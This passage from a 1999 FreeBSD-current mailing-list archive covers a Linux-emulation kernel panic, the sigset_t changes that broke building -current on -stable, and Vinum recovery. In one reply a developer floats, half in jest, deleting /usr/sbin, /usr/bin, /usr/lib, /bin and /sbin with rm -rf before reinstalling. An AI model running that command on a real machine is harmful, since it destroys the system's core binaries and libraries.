	by cs.uni-sb.de (8.9.3/1999031900) with ESMTP id BAA16527
	for <freebsd-current@freebsd.org>; Fri, 1 Oct 1999 01:11:09 +0200 (CEST)
Received: (from schuerge@localhost)
	by wjpserver.cs.uni-sb.de (8.9.3/8.9.3/wjp-SVR4/1999052600) id BAA02361
	for freebsd-current@freebsd.org; Fri, 1 Oct 1999 01:11:05 +0200 (MET DST)
From: Thomas Schuerger <schuerge@wjpserver.CS.Uni-SB.DE>
Message-Id: <199909302311.BAA02361@wjpserver.cs.uni-sb.de>
Subject: Problems with Linux emulation
To: freebsd-current@freebsd.org
Date: Fri, 1 Oct 1999 01:11:05 +0200 (MET DST)
X-Mailer: ELM [version 2.4ME+ PL57 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Hi!

I´ve updated to the latest 4.0-CURRENT on Monday and discovered
today, that my Linux emulation is broken. The emulation is loaded
as a kernel module alright, but when I start anything really using
the emulation (e.g. acroread4) my system hangs completely and requires
a reboot.

I deinstalled the linux_base port and tried to reinstall it, but while
installing, I get the following kernel panic:

Fatal trap 12: page fault while in kernel mode
mp_lock = 00000002; cpuid = 0; lapic.id = 01000000
fault virtual address = 0x50
fault code: supervisor read, page not present
processor eflags: interrupt enabled, resume, iopl = 0
current process = 1105 (ldconfig)
interrupt mask = none <- SMP; XXX
trap number = 12
panic: page fault


This happens when the install script wants to call {PREFIX}/sbin/ldconfig
(the Linux-ldconfig).

I rebuilt and reinstalled the linux emulation module, but that didn´t help either.
Installing the above port will still cause a kernel panic.

I haven´t read this list for a while, so I might have missed something important.
Any hints or ideas what might be going wrong? What can I do to make it work again?


Ciao,
Thomas Schürger.   http://www.menden.augustin.de



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 16:15:32 1999
Delivered-To: freebsd-current@freebsd.org
Received: from adsl-63-195-54-213.dsl.snfc21.pacbell.net (adsl-63-195-54-213.dsl.snfc21.pacbell.net [63.195.54.213])
	by hub.freebsd.org (Postfix) with ESMTP id AD40F153CB
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 16:14:45 -0700 (PDT)
	(envelope-from gurney_j@efn.org)
Received: (from jmg@localhost)
          by adsl-63-195-54-213.dsl.snfc21.pacbell.net (8.9.1/8.8.7) id QAA14984;
          Thu, 30 Sep 1999 16:14:31 -0700 (PDT)
Message-ID: <19990930161431.03330@hydrogen.fircrest.net>
Date: Thu, 30 Sep 1999 16:14:31 -0700
From: John-Mark Gurney <gurney_j@efn.org>
To: Don Lewis <Don.Lewis@tsc.tdk.com>
Cc: Marcel Moolenaar <marcel@scc.nl>,
	Peter Wemm <peter@netplex.com.au>, current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
References: <marcel@scc.nl> <199909302224.PAA09543@salsa.gv.tsc.tdk.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.69
In-Reply-To: <199909302224.PAA09543@salsa.gv.tsc.tdk.com>; from Don Lewis on Thu, Sep 30, 1999 at 03:24:00PM -0700
Reply-To: John-Mark Gurney <gurney_j@resnet.uoregon.edu>
Organization: Cu Networking
X-Operating-System: FreeBSD 3.0-RELEASE i386
X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31  96 7A 22 B3 D8 56 36 F4
X-Files: The truth is out there
X-URL: http://resnet.uoregon.edu/~gurney_j/
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Don Lewis scribbled this message on Sep 30:
> On Sep 30, 11:24pm, Marcel Moolenaar wrote:
> } Subject: Re: HEADS UP: sigset_t changes committed
> 
> } As for me, I'm trying to define the problem as detailed and consise as
> } possible. I already have some specific thoughts and ideas. I'm thinking
> } large here: real cross-compilation capabilities and such (it may be
> } handy for FreeBSD/IA64)...
> 
> While proper cross-compilation would be really nice to have, it won't solve
> the "make world" problem.  It would get you through "make buildworld", but
> "make installworld" will overwrite the system binaries with new versions that
> use the new signal syscalls that the currently running kernel doesn't support.
> It would even be possible to cross-compile a new kernel, but it still has
> to be installed and the system rebooted before installing userland.
> 
> In this particular case, the only thing cross-compilation would buy us
> is the ability to build (but not install) 4.x binaries on a machine
> running 3.x.  It sounds like some folks would be satisfied just having
> that.

I'm sorry, this is easy to fix... have a set of tools you copy to /ibin
that are used for the install (all staticly compiled binaries hopefully)
and run the install world out of /ibin...  maybe include some binaries
for system recovery to make sure...

if people are interested, I can take a look at it... it'd be interesting
to be able to do something like; make prep-installworld; rm -rf
/usr/{sbin,bin,lib} /{bin,sbin}; make installworld and have it
complete... :)

-- 
  John-Mark Gurney				Voice: +1 408 975 9651
  Cu Networking					  

  "The soul contains in itself the event that shall presently befall it.
  The event is only the actualizing of its thought." -- Ralph Waldo Emerson


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 16:19:11 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16])
	by hub.freebsd.org (Postfix) with ESMTP id A395514A0D
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 16:19:06 -0700 (PDT)
	(envelope-from bde@zeta.org.au)
Received: from d219.syd2.zeta.org.au (beefcake.zeta.org.au [203.26.10.12])
	by mailman.zeta.org.au (8.8.7/8.8.7) with ESMTP id JAA03098;
	Fri, 1 Oct 1999 09:19:43 +1000
Date: Fri, 1 Oct 1999 09:18:35 +1000 (EST)
From: Bruce Evans <bde@zeta.org.au>
X-Sender: bde@alphplex.bde.org
To: John Polstra <jdp@polstra.com>
Cc: marcel@scc.nl, current@FreeBSD.ORG
Subject: Re: Now that sigcontext is gone ...
In-Reply-To: <XFMail.990930122739.jdp@polstra.com>
Message-ID: <Pine.BSF.4.10.9910010840220.17284-100000@alphplex.bde.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> I'm trying to digest the recent signal changes and get a handle on
> what I need to do to make Modula-3 work.  There is code in the runtime

Sigcontext will have to come back, since it is a standard BSD interface.
Recent signal changes break even its source-level compatibility.  Previous
signal changes managed to preserve even its binary compatibility by
keeping things the same for the !SA_SIGINFO case, but the next round of
those changes might have broken binary compatibility by adding floating
point context.

BTW, struct sigcontext seems to be documented only in sigreturn.2, and
that documentation is more than 3 stages behind reality.  sigreturn() now
uses ucontext_t, and the documented struct sigcontext is only for an old
i386 version (Lite2 documents a "machine-independent" but inadequate
version).  It is missing sc_gs, sc_fs, sc_trapno and sc_err at the end.
Adding these fields broke binary compatibility.

> currently which catches SIGBUS and uses the sigcontext's "sc_err"
> member to find out the faulting address.  That should be replaced
> by the siginfo_t's "si_addr" member.  But as far as I can tell from
> grepping the kernel sources, that functionality isn't implemented.
> 
> Is that right?  Any ideas regarding a work-around?

The functionality of sc_trapno also seems to be unimplemented.  These
fields are not documented, so you shouldn't be using them :-).

Bruce



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 16:26:39 1999
Delivered-To: freebsd-current@freebsd.org
Received: from peak.mountin.net (peak.mountin.net [207.227.119.2])
	by hub.freebsd.org (Postfix) with ESMTP id 2C08614A0D
	for <freebsd-current@FreeBSD.ORG>; Thu, 30 Sep 1999 16:26:36 -0700 (PDT)
	(envelope-from jeff-ml@mountin.net)
Received: (from daemon@localhost)
	by peak.mountin.net (8.9.1/8.9.1) id SAA26998;
	Thu, 30 Sep 1999 18:25:20 -0500 (CDT)
	(envelope-from jeff-ml@mountin.net)
Received: from dial-120.tnt1.rac.cyberlynk.net(209.224.182.120) by peak.mountin.net via smap (V1.3)
	id sma026996; Thu Sep 30 18:25:09 1999
Message-Id: <3.0.3.32.19990930182053.0219b760@207.227.119.2>
X-Sender: jeff-ml@207.227.119.2
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Thu, 30 Sep 1999 18:20:53 -0500
To: peter.jeremy@alcatel.com.au
From: "Jeffrey J. Mountin" <jeff-ml@mountin.net>
Subject: Re: System crash on "vinum start"
Cc: freebsd-current@FreeBSD.ORG
In-Reply-To: <99Sep28.125643est.40332@border.alcanet.com.au>
References: <19990928084130.L46202@freebie.lemis.com>
 <19990925104024.B54407@freebie.lemis.com>
 <199909271705.NAA43302@concours.pc.sas.com>
 <3.0.3.32.19990927153730.0204c420@207.227.119.2>
 <19990928084130.L46202@freebie.lemis.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

At 12:59 PM 9/28/99 +1000, Peter Jeremy wrote:
>On Tue, Sep 28, 1999 at 09:11:31AM +1000, Greg Lehey wrote:
>>  Good software shouldn't panic.
>I wish _I_ could convince some people of this :-(.

It can be difficult to consider what a user can do and tends to bloat the
code a bit.  Frustrates my instructors, since it very much a habit when I
script and carried over to C. 8-)

>> It's all in the pipeline.  But first we need Vinum on the root file
>> system.
>And whilst we're discussing wish-lists...  After several fights with
>Digital/Compaq's Logical Storage Manager, it would be _very_ nice if
>recovery could be done at the physical disk level (ie, "I've just
>replaced da3 - autorecover all vinum volumes that used that disk"),
>rather than having to recover each logical volume.  It would also be
>nice if you could recover mirrored root/swap without needing to
>unmirror and re-mirror them.

Haven't looked at the code for it, but "hotspare" appeared for the drive
configuration recently.  Bit a tease really.

No offense to Greg of course. ;)

Speaking of, why is (would) root filesystem support necessary for non
root/swap automagical recovery.  Or will this be part of other
to-be-implemented functionalities.


Jeff Mountin - jeff@mountin.net
Systems/Network Administrator
FreeBSD - the power to serve
'86 Yamaha MaxiumX (not FBSD powered)



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 16:28: 6 1999
Delivered-To: freebsd-current@freebsd.org
Received: from troutmask.apl.washington.edu (troutmask.apl.washington.edu [128.95.76.54])
	by hub.freebsd.org (Postfix) with ESMTP id 5BC7614CD2
	for <freebsd-current@FreeBSD.ORG>; Thu, 30 Sep 1999 16:28:04 -0700 (PDT)
	(envelope-from sgk@troutmask.apl.washington.edu)
Received: (from sgk@localhost)
	by troutmask.apl.washington.edu (8.9.3/8.9.1) id QAA71236;
	Thu, 30 Sep 1999 16:33:11 -0700 (PDT)
	(envelope-from sgk)
From: Steve Kargl <sgk@troutmask.apl.washington.edu>
Message-Id: <199909302333.QAA71236@troutmask.apl.washington.edu>
Subject: Re: Problems with Linux emulation
In-Reply-To: <199909302311.BAA02361@wjpserver.cs.uni-sb.de> from Thomas Schuerger at "Oct 1, 1999 01:11:05 am"
To: schuerge@wjpserver.CS.Uni-SB.DE (Thomas Schuerger)
Date: Thu, 30 Sep 1999 16:33:11 -0700 (PDT)
Cc: freebsd-current@FreeBSD.ORG
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Thomas Schuerger wrote:
[Charset ISO-8859-1 unsupported, filtering to ASCII...]
> 
> This happens when the install script wants to call {PREFIX}/sbin/ldconfig
> (the Linux-ldconfig).
> 
> I rebuilt and reinstalled the linux emulation module, but that
> didn_t help either.
> Installing the above port will still cause a kernel panic.
> 
> I haven_t read this list for a while, so I might have missed
> something important.
> Any hints or ideas what might be going wrong? What can I do to make
> it work again?
> 

<rant>
You should be reading this list if you run -current!
</rant>

Cvsup up to date sources.
Build a new kernel.
Install kernel.
Edit /etc/rc.conf to *not* load the linux module at boot time.
Reboot.
make world
Edit /etc/rc.conf to load the linux module at boot time.
Either reboot or kldload the linux module.

-- 
Steve


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 16:32:18 1999
Delivered-To: freebsd-current@freebsd.org
Received: from alcanet.com.au (border.alcanet.com.au [203.62.196.10])
	by hub.freebsd.org (Postfix) with ESMTP
	id DE2CC14CD2; Thu, 30 Sep 1999 16:32:14 -0700 (PDT)
	(envelope-from jeremyp@gsmx07.alcatel.com.au)
Received: by border.alcanet.com.au id <40335>; Fri, 1 Oct 1999 09:29:04 +1000
Content-return: prohibited
Date: Fri, 1 Oct 1999 09:32:09 +1000
From: Peter Jeremy <jeremyp@gsmx07.alcatel.com.au>
Subject: Re: new sigset_t and upgrading: a proposal
In-reply-to: <19990930154834.R31903@relay.nuxi.com>
To: David O'Brien <obrien@FreeBSD.ORG>
Cc: current@FreeBSD.ORG
Reply-To: peter.jeremy@alcatel.com.au
Message-Id: <99Oct1.092904est.40335@border.alcanet.com.au>
MIME-version: 1.0
X-Mailer: Mutt 1.0pre3i
Content-type: text/plain; charset=us-ascii
References: <19990930154834.R31903@relay.nuxi.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Fri, Oct 01, 1999 at 08:48:34AM +1000, David O'Brien wrote:
>On Thu, Sep 30, 1999 at 06:25:56AM -0700, Rodney W. Grimes wrote:
>> > Cons
>> > ----
>> > o  Upgrading from 3.3 and before to -current is only possible after
>> >    an upgrade to post 3.3.
>> 
>> Not good.
>
>We recommend that 2.2.x people upgrade to the latest 2.2-STABLE offering
>before trying to jump to 3.x via `make {upgrade,world,aout-to-elf}.

I thought it was `2.2.8-RELEASE or later', not `the latest
2.2-STABLE'.  (I know this has been stated regularly in various
mailing lists, but I can't find the exact wording in the FAQ or
handbook).  AFAIK, this recommendation was more along the lines of
`it's known to work with 2.2.8 and isn't guaranteed to work with
earlier releases'.  I'm fairly certain I've upgraded machines from
2.2.6 or 2.2.7 to 3.x without installing 2.2.8.  If we implement this
change, it will be `the upgrade is guaranteed not to work unless you
are running 3.x from 1st October 1999 or later'.

I believe that the above also implies that there should be a
3.4-RELEASE before 4.0-RELEASE (I'm not sure what has been planned)
so that there's a -release that is upgradeable to -current.

In any case, I'm not sure that this is a particularly clean solution:
1) It is a specific work-around for this problem and does not solve
   the general problem:  Buildworld should not use be using tools
   built for the new world with the current kernel.
2) It's not a change that can be applied to -current, tested and then
   MFC'd.  This increases the likelihood that it will break -stable.

Peter
-- 
Peter Jeremy (VK2PJ)                    peter.jeremy@alcatel.com.au
Alcatel Australia Limited
41 Mandible St                          Phone: +61 2 9690 5019
ALEXANDRIA  NSW  2015                   Fax:   +61 2 9690 5982


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 16:39:58 1999
Delivered-To: freebsd-current@freebsd.org
Received: from adsl-63-195-54-213.dsl.snfc21.pacbell.net (adsl-63-195-54-213.dsl.snfc21.pacbell.net [63.195.54.213])
	by hub.freebsd.org (Postfix) with ESMTP id 5382C14CD2
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 16:39:48 -0700 (PDT)
	(envelope-from gurney_j@efn.org)
Received: (from jmg@localhost)
          by adsl-63-195-54-213.dsl.snfc21.pacbell.net (8.9.1/8.8.7) id QAA15378;
          Thu, 30 Sep 1999 16:39:46 -0700 (PDT)
Message-ID: <19990930163945.56976@hydrogen.fircrest.net>
Date: Thu, 30 Sep 1999 16:39:45 -0700
From: John-Mark Gurney <gurney_j@efn.org>
To: Marcel Moolenaar <marcel@scc.nl>
Cc: Peter Wemm <peter@netplex.com.au>, current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
References: <19990930003214.58194@hydrogen.fircrest.net> <19990930195614.2834A1CA7@overcee.netplex.com.au> <19990930135119.29632@hydrogen.fircrest.net> <37F3D522.2A4C79C2@scc.nl>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.69
In-Reply-To: <37F3D522.2A4C79C2@scc.nl>; from Marcel Moolenaar on Thu, Sep 30, 1999 at 11:24:50PM +0200
Reply-To: John-Mark Gurney <gurney_j@resnet.uoregon.edu>
Organization: Cu Networking
X-Operating-System: FreeBSD 3.0-RELEASE i386
X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31  96 7A 22 B3 D8 56 36 F4
X-Files: The truth is out there
X-URL: http://resnet.uoregon.edu/~gurney_j/
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Marcel Moolenaar scribbled this message on Sep 30:
> John-Mark Gurney wrote:
> 
> > the reason I was on Marcel's back was because of his statement that he
> > WOULD NOT do ANYTHING to fix the problem, and that as far as he was
> > considered, that's life and deal w/ it...  if he had said, oh, I'll look
> > for a solution to the problem, I wouldn't of been so hard on him...
> 
> I said that for the -current case. I also said that an upgrade from
> -stable to -current will be fixed if it was broken.

you don't under stand, we are NOT talking about upgrades, we are talking
about how to make a buildable system on -stable...  the make buildworld
-DNOTOOLS does not work, and will not work for what I like to do.. I
need tools from -current that RUN ON -stable...

you completely cut the whole part of me agreeing w/ Peter about
-DACIENTTOOLS...  and so you know, (this is unrelated to the -current
tools running on -stable), you can't do a buildworld w/ -DNOTOOLS and
have it succeed:

===> libgcc
echo '#include <i386/xm-i386.h>' > config.h
echo '#include <xm-freebsd.h>' >> config.h
echo '#include "i386/xm-i386.h"' > tconfig.h
echo '#include "i386/i386.h"' > tm.h
echo '#include "i386/att.h"' >> tm.h
echo '#include "i386/freebsd.h"' >> tm.h
echo '#include "i386/perform.h"' >> tm.h
cc -c -nostdinc -O -pipe -pipe -O -pipe -O -I/a/home/johng/FreeBSD-checkout/40current/src/gnu/lib/libgcc/../../../contrib/egcs/gcc/config -I/a/home/johng/FreeBSD-checkout/40current/src/gnu/lib/libgcc/../../../contrib/egcs/gcc -I. -fexceptions -DIN_GCC -I/usr/obj/a/home/johng/FreeBSD-checkout/40current/src/tmp/usr/include -DL_mulsi3 -o _mulsi3.o /a/home/johng/FreeBSD-checkout/40current/src/gnu/lib/libgcc/../../../contrib/egcs/gcc/libgcc1.c
cc1: Invalid option `-fexceptions'
*** Error code 1

it took me all of 21 minutes for the buildworld to fail.. considering
I'm not running softupdates, it'd be even faster...

> > so, is Marcel going to do the work for this? or will this have to be
> > passed to someone like you or myself?
> 
> I'm not going to claim this. Everyone with a constructive opinions can
> join the club. It's so much easier for everyone if it's done by more
> than 1 person. Those that don't feel confortable solving this problem
> are encouraged to test solutions.

so, I take this that you are uninterested in trying to solve the problem
at hand?  I vote for Peter's idea, which is something that I was thinking
about before he sent the idea out... just in a different way...

> As for me, I'm trying to define the problem as detailed and consise as
> possible. I already have some specific thoughts and ideas. I'm thinking
> large here: real cross-compilation capabilities and such (it may be
> handy for FreeBSD/IA64)...

ok, the problem is:
a) -current tools are built w/ -current libc and friends
b) -current libc and friends are NOW (they used to not be this way) unable
	to run on anything but -current because of the signal changes..
c) the problem is that the signal changes do not provide a way to
	continue to function in the case that the kernel doesn't support
	the new syscalls...

we have a catch-22 in the build environment..  the tools need a -current
libc and friends, and libc and friends needs a -current kernel, and a
-current kernel needs the tools to be built...

the solution is to make libc and friends be able to operate on a
non-current system by wrapping the signal stuff in #ifdef's that will
provide fall back support when requested and use the o* syscalls in
this case...

what we may want to do, is to leave the old signal code in, and simply
add in the ability to "select" what signal code we want to include..
and make it a general system so that it just doesn't apply to the signal
system...

this way we can say, we are building under NetBSD, and they don't have
getcwd as a syscall so we need to compile getcwd as a function using
this code, instead of using FreeBSD's syscall...

and as Bruce will point out... the fact that -current's libc even builds
on -stable and has run is completely by chance...

our build of libc and tools should detect the system that we are on (or
be told the type of system) and react accordingly...  before this time
we have been lucky that it hasn't been needed, but now we need it...

-- 
  John-Mark Gurney				Voice: +1 408 975 9651
  Cu Networking					  

  "The soul contains in itself the event that shall presently befall it.
  The event is only the actualizing of its thought." -- Ralph Waldo Emerson


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 16:45: 4 1999
Delivered-To: freebsd-current@freebsd.org
Received: from alcanet.com.au (border.alcanet.com.au [203.62.196.10])
	by hub.freebsd.org (Postfix) with ESMTP id 529CC14DA0
	for <freebsd-current@FreeBSD.ORG>; Thu, 30 Sep 1999 16:44:59 -0700 (PDT)
	(envelope-from jeremyp@gsmx07.alcatel.com.au)
Received: by border.alcanet.com.au id <40344>; Fri, 1 Oct 1999 09:41:41 +1000
Content-return: prohibited
Date: Fri, 1 Oct 1999 09:44:41 +1000
From: Peter Jeremy <peter.jeremy@alcatel.com.au>
Subject: Re: System crash on "vinum start"
In-reply-to: <3.0.3.32.19990930182053.0219b760@207.227.119.2>
To: "Jeffrey J. Mountin" <jeff-ml@mountin.net>
Cc: freebsd-current@FreeBSD.ORG
Reply-To: peter.jeremy@alcatel.com.au
Message-Id: <99Oct1.094141est.40344@border.alcanet.com.au>
MIME-version: 1.0
X-Mailer: Mutt 1.0pre3i
Content-type: text/plain; charset=us-ascii
References: <19990928084130.L46202@freebie.lemis.com>
 <19990925104024.B54407@freebie.lemis.com>
 <199909271705.NAA43302@concours.pc.sas.com>
 <3.0.3.32.19990927153730.0204c420@207.227.119.2>
 <19990928084130.L46202@freebie.lemis.com>
 <99Sep28.125643est.40332@border.alcanet.com.au>
 <3.0.3.32.19990930182053.0219b760@207.227.119.2>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Fri, Oct 01, 1999 at 09:20:53AM +1000, Jeffrey J. Mountin wrote:
>At 12:59 PM 9/28/99 +1000, Peter Jeremy wrote:
>>On Tue, Sep 28, 1999 at 09:11:31AM +1000, Greg Lehey wrote:
>>>  Good software shouldn't panic.
>>I wish _I_ could convince some people of this :-(.
>
>It can be difficult to consider what a user can do and tends to bloat the
>code a bit.  Frustrates my instructors, since it very much a habit when I
>script and carried over to C. 8-)

I was thinking of some `production' code (written by a sister company)
that I used to provide customer support for.  It would regularly core
dump (but was automatically restarted).  After a few years they did
manage to fix the core dump, but that exposed a memory leak which they
never did manage to fix (fairly embarrasing in a supposedly
permanently running process).

>Speaking of, why is (would) root filesystem support necessary for non
>root/swap automagical recovery.

I gather that root support is the most-asked-for feature in Vinum (when
I asked Greg about it some weeks ago, I got about as far as `when will
Vinum' before he answered me).  As long as recovery works, making it
nicer to use is (should be) a lower priority.

Peter
-- 
Peter Jeremy (VK2PJ)                    peter.jeremy@alcatel.com.au
Alcatel Australia Limited
41 Mandible St                          Phone: +61 2 9690 5019
ALEXANDRIA  NSW  2015                   Fax:   +61 2 9690 5982


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 16:47:54 1999
Delivered-To: freebsd-current@freebsd.org
Received: from ns.mt.sri.com (ns.mt.sri.com [206.127.79.91])
	by hub.freebsd.org (Postfix) with ESMTP id 1F8A314D4A
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 16:47:42 -0700 (PDT)
	(envelope-from nate@mt.sri.com)
Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100])
	by ns.mt.sri.com (8.9.3/8.9.3) with SMTP id RAA09985;
	Thu, 30 Sep 1999 17:44:27 -0600 (MDT)
	(envelope-from nate@rocky.mt.sri.com)
Received: by mt.sri.com (SMI-8.6/SMI-SVR4)
	id RAA01090; Thu, 30 Sep 1999 17:44:25 -0600
Date: Thu, 30 Sep 1999 17:44:25 -0600
Message-Id: <199909302344.RAA01090@mt.sri.com>
From: Nate Williams <nate@mt.sri.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: John-Mark Gurney <gurney_j@resnet.uoregon.edu>
Cc: Marcel Moolenaar <marcel@scc.nl>,
	Peter Wemm <peter@netplex.com.au>, current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
In-Reply-To: <19990930163945.56976@hydrogen.fircrest.net>
References: <19990930003214.58194@hydrogen.fircrest.net>
	<19990930195614.2834A1CA7@overcee.netplex.com.au>
	<19990930135119.29632@hydrogen.fircrest.net>
	<37F3D522.2A4C79C2@scc.nl>
	<19990930163945.56976@hydrogen.fircrest.net>
X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid
Reply-To: nate@mt.sri.com (Nate Williams)
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> you don't under stand, we are NOT talking about upgrades, we are talking
> about how to make a buildable system on -stable... 

There are essentially the same problem.  In order to do an upgrade, you
have to be able to build on -stable. :)

> ===> libgcc
> echo '#include <i386/xm-i386.h>' > config.h
> echo '#include <xm-freebsd.h>' >> config.h
> echo '#include "i386/xm-i386.h"' > tconfig.h
> echo '#include "i386/i386.h"' > tm.h
> echo '#include "i386/att.h"' >> tm.h
> echo '#include "i386/freebsd.h"' >> tm.h
> echo '#include "i386/perform.h"' >> tm.h
> cc -c -nostdinc -O -pipe -pipe -O -pipe -O -I/a/home/johng/FreeBSD-checkout/40current/src/gnu/lib/libgcc/../../../contrib/egcs/gcc/config -I/a/home/johng/FreeBSD-checkout/40current/src/gnu/lib/libgcc/../../../contrib/egcs/gcc -I. -fexceptions -DIN_GCC -I/usr/obj/a/home/johng/FreeBSD-checkout/40current/src/tmp/usr/include -DL_mulsi3 -o _mulsi3.o /a/home/johng/FreeBSD-checkout/40current/src/gnu/lib/libgcc/../../../contrib/egcs/gcc/libgcc1.c
> cc1: Invalid option `-fexceptions'

This is unrelated to the signal code.  Why are you jumping on Marcel for
this?

In any case, I believe there is work in progress as well as interest in
making *something* work.  Let's all quit yelling at one another and
start working towards a solution, instead of pointing fingers and
screaming 'he broke it and won't fix it'. :)


Nate


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 17: 6:33 1999
Delivered-To: freebsd-current@freebsd.org
Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21])
	by hub.freebsd.org (Postfix) with ESMTP id 8748E14D4E
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 17:06:31 -0700 (PDT)
	(envelope-from gdonl@tsc.tdk.com)
Received: from sunrise.gv.tsc.tdk.com (root@sunrise.gv.tsc.tdk.com [192.168.241.191])
	by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id RAA20689;
	Thu, 30 Sep 1999 17:03:40 -0700 (PDT)
	(envelope-from gdonl@tsc.tdk.com)
Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194])
	by sunrise.gv.tsc.tdk.com (8.8.5/8.8.5) with ESMTP id RAA26973;
	Thu, 30 Sep 1999 17:03:39 -0700 (PDT)
Received: (from gdonl@localhost)
	by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id RAA09834;
	Thu, 30 Sep 1999 17:03:38 -0700 (PDT)
From: Don Lewis <Don.Lewis@tsc.tdk.com>
Message-Id: <199910010003.RAA09834@salsa.gv.tsc.tdk.com>
Date: Thu, 30 Sep 1999 17:03:38 -0700
In-Reply-To: John-Mark Gurney <gurney_j@efn.org>
       "Re: HEADS UP: sigset_t changes committed" (Sep 30,  4:14pm)
X-Mailer: Mail User's Shell (7.2.6 alpha(3) 7/19/95)
To: John-Mark Gurney <gurney_j@resnet.uoregon.edu>,
	Don Lewis <Don.Lewis@tsc.tdk.com>
Subject: Re: HEADS UP: sigset_t changes committed
Cc: Marcel Moolenaar <marcel@scc.nl>,
	Peter Wemm <peter@netplex.com.au>, current@FreeBSD.ORG
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Sep 30,  4:14pm, John-Mark Gurney wrote:
} Subject: Re: HEADS UP: sigset_t changes committed
} > 
} > In this particular case, the only thing cross-compilation would buy us
} > is the ability to build (but not install) 4.x binaries on a machine
} > running 3.x.  It sounds like some folks would be satisfied just having
} > that.
} 
} I'm sorry, this is easy to fix... have a set of tools you copy to /ibin
} that are used for the install (all staticly compiled binaries hopefully)
} and run the install world out of /ibin...  maybe include some binaries
} for system recovery to make sure...

... but as soon as you run the stuff in /ibin to install the new userland,
you won't even be able to run a shell script, because the newly installed
/bin/sh will be using the new signal syscalls.  The install process will
have to include installing a new kernel and will have to be followed by
an immediate reboot.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 17:15:46 1999
Delivered-To: freebsd-current@freebsd.org
Received: from alcanet.com.au (border.alcanet.com.au [203.62.196.10])
	by hub.freebsd.org (Postfix) with ESMTP id 82A0515263
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 17:15:43 -0700 (PDT)
	(envelope-from jeremyp@gsmx07.alcatel.com.au)
Received: by border.alcanet.com.au id <40357>; Fri, 1 Oct 1999 10:12:31 +1000
Content-return: prohibited
Date: Fri, 1 Oct 1999 10:15:34 +1000
From: Peter Jeremy <jeremyp@gsmx07.alcatel.com.au>
Subject: Re: HEADS UP: sigset_t changes committed
In-reply-to: <199910010003.RAA09834@salsa.gv.tsc.tdk.com>
To: Don Lewis <Don.Lewis@tsc.tdk.com>
Cc: current@FreeBSD.ORG
Reply-To: peter.jeremy@alcatel.com.au
Message-Id: <99Oct1.101231est.40357@border.alcanet.com.au>
MIME-version: 1.0
